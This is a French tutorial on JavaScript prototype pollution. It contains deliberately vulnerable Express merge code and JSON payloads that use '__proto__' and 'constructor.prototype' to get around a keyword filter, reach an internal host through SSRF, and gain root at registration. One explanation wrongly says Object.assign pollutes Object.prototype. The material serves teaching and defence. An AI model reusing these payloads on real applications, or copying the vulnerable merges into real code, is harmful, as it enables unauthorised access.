Comprendre et Exploiter la Pollution de Prototype en JavaScript

Les Fondements de l'Héritage par Prototype

Contrairement aux langages orientés objet traditionnels basés sur des classes, JavaScript utilise un modèle d'héritage dynamique fondé sur les prototypes. Chaque objet possède un lien interne vers un autre objet appelé son prototype. Voici différentes approches pour instancier des objets et définir leurs comportements :

// Approche 1 : Fonction constructeur classique
function Employe(nom, departement) {
    this.nom = nom;
    this.departement = departement;
}
Employe.prototype.travailler = function() {
    console.log(`${this.nom} est en train de travailler dans ${this.departement}.`);
};

// Approche 2 : Syntaxe de classe (ES6)
class Manager {
    constructor(nom, equipe) {
        this.nom = nom;
        this.equipe = equipe;
    }
    diriger() {
        console.log(`${this.nom} dirige l'équipe ${this.equipe}.`);
    }
}

// Approche 3 : Création littérale et Object.create
const baseProfil = {
    afficherProfil() {
        console.log(`Profil de ${this.nom}`);
    }
};
const utilisateur = Object.create(baseProfil);
utilisateur.nom = "Alice";

Peu importe la syntaxe utilisée, le mécanisme sous-jacent reste identique. Lorsqu'on accède à une propriété ou une méthode, le moteur JavaScript remonte la chaîne de prototypes si elle n'existe pas sur l'objet lui-même.

Analysons les relations internes :

  • Employe.prototype est l'objet partagé par toutes les instences créées via new Employe().
  • Employe.__proto__ pointe vers Function.prototype, car Employe est elle-même une fonction, donc une instance de Function.
  • Employe.prototype.__proto__ pointe vers Object.prototype, qui est le sommet de la chaîne pour la plupart des objets.

Il est crucial de comprendre que la réassignation complète du prototype modifie le comportement pour les futures instances, mais pas pour les instances déjà créées :

const Appareil = function() {};
Appareil.prototype.statut = "inactif";

const a1 = new Appareil();

// Réassignation du prototype
Appareil.prototype = {
    statut: "actif",
    modele: "X100"
};

const a2 = new Appareil();

console.log(a1.statut); // "inactif"
console.log(a1.modele); // undefined
console.log(a2.statut); // "actif"
console.log(a2.modele); // "X100"

De même, il faut distinguer le prototype de l'instance de celui de la fonction constructeur. Une instance hérite des propriétés du prototype de son constructeur, et non des propriétés statiques de la fonction elle-même :

const Transport = function() {};
Object.prototype.methodeA = () => console.log('A');
Function.prototype.methodeB = () => console.log('B');

const vehicule = new Transport();

vehicule.methodeA(); // Fonctionne (hérite de Object.prototype)
// vehicule.methodeB(); // Échoue (vehicule n'hérite pas de Function.prototype)

Transport.methodeA(); // Fonctionne
Transport.methodeB(); // Fonctionne (Transport est une instance de Function)

Mécanisme de la Pollution de Prototype

La pollution de prototype survient lorsqu'une application permet à un attaquant d'injecter des propriétés arbitraires dans Object.prototype. Cela se produit généralement via des fonctions de fusion ou de copie d'objets qui ne filtrent pas les clés spéciales comme __proto__, constructor ou prototype.

function fusionnerProfonde(cible, source) {
    for (const cle in source) {
        if (Object.prototype.hasOwnProperty.call(source, cle)) {
            if (typeof source[cle] === 'object' && source[cle] !== null) {
                if (!cible[cle] || typeof cible[cle] !== 'object') {
                    cible[cle] = {};
                }
                fusionnerProfonde(cible[cle], source[cle]);
            } else {
                cible[cle] = source[cle];
            }
        }
    }
}

const configuration = {};
const payloadAttaquant = JSON.parse('{"__proto__": {"niveauAcces": "admin"}}');

fusionnerProfonde(configuration, payloadAttaquant);

const nouvelleConfig = {};
console.log(nouvelleConfig.niveauAcces); // "admin" - L'objet global est pollué

Si l'on avait utilisé une assignation directe (const obj = { __proto__: { x: 1 } }), JavaScript aurait interprété __proto__ comme le lien de prototype interne. Cependatn, JSON.parse traite __proto__ comme une simple chaîne de caractères représentant une clé de dictionnaire, permettant ainsi à la fonction de fusion de l'assigner et de modifier Object.prototype.

Études de Cas et Exploitation

Cas 1 : Contournement de SSRF via Pollution

Considérons une application Node.js utilisant Express, qui agit comme un proxy. Elle vérifie si l'hôte cible est autorisé avant de faire la requête. Une fonction de mise à jour des préférences utilisateur est vulnérable.

const express = require("express");
const axios = require("axios");
const app = express();
app.use(express.json());

const listeBlanche = {
    "api.publique.com": true,
    "partenaire.com": false
};

function appliquerModifications(destination, origine) {
    for (const k in origine) {
        // Filtre de sécurité naïf
        if (k.includes("proto")) continue; 
        
        if (typeof origine[k] === 'object' && origine[k] !== null) {
            appliquerModifications(destination[k] || {}, origine[k]);
        } else {
            destination[k] = origine[k];
        }
    }
}

app.post("/preferences", (req, res) => {
    appliquerModifications(listeBlanche, req.body);
    res.send("Mise à jour enregistrée");
});

app.get("/proxy", async (req, res) => {
    const urlCible = req.query.url;
    const hote = new URL(urlCible).hostname;

    if (!listeBlanche[hote]) {
        return res.status(403).send("Hôte non autorisé");
    }

    const resultat = await axios.get(urlCible);
    res.send(resultat.data);
});

Le filtre bloque la chaîne "proto", empêchant l'utilisation directe de __proto__. Cependant, il est posible d'utiliser la chaîne de prototypes via constructor. En envoyant la requête suivante à /preferences :

{
    "constructor": {
        "prototype": {
            "127.0.0.1": true
        }
    }
}

Cela ajoute la propriété 127.0.0.1 avec la valeur true à Object.prototype. Lorsque le proxy vérifie listeBlanche["127.0.0.1"], il ne la trouve pas sur l'objet lui-même, mais la récupère via la chaîne de prototypes, contournant ainsi la restriction et permettant une attaque SSRF vers http://127.0.0.1:3000/flag.

Cas 2 : Élévation de Privilèges lors de l'Inscription

Dans un autre scénario, un endpoint d'inscription fusionne les données fournies par l'utilisateur avec un objet de base. Le système vérifie un code d'invitation si l'utilisateur demande des droits d'administration.

const baseCompte = { role: "standard", actif: true };
const comptes = [];

app.post("/register", (req, res) => {
    const donnees = req.body;
    
    if (!donnees.pseudo || !donnees.motDePasse) {
        return res.status(400).send("Champs requis manquants");
    }

    // Logique de vérification du code
    if (donnees.estRoot && donnees.codeSecret !== "MASTER_KEY") {
        donnees.estRoot = false;
    }

    // Fusion vulnérable
    const nouveauCompte = Object.assign({}, baseCompte, donnees);
    comptes.push(nouveauCompte);
    res.send("Compte créé");
});

La faille réside dans l'ordre des opérations. La vérification donnees.estRoot est effectuée avant la fusion. Si l'attaquant envoie :

{
    "pseudo": "intrus",
    "motDePasse": "azerty",
    "__proto__": {
        "estRoot": true
    }
}

Lors de la vérification, donnees.estRoot est undefined (falsy), donc le bloc de validation du code est ignoré. Ensuite, Object.assign copie les propriétés. Bien que __proto__ ne soit pas copié comme une propriété propre, l'objet résultant nouveauCompte hérite de estRoot: true depuis Object.prototype, accordant ainsi les privilèges root à l'utilisateur.

Étiquettes: JavaScript prototype-pollution nodejs Express web-security

Publié le 13 juin à 00h20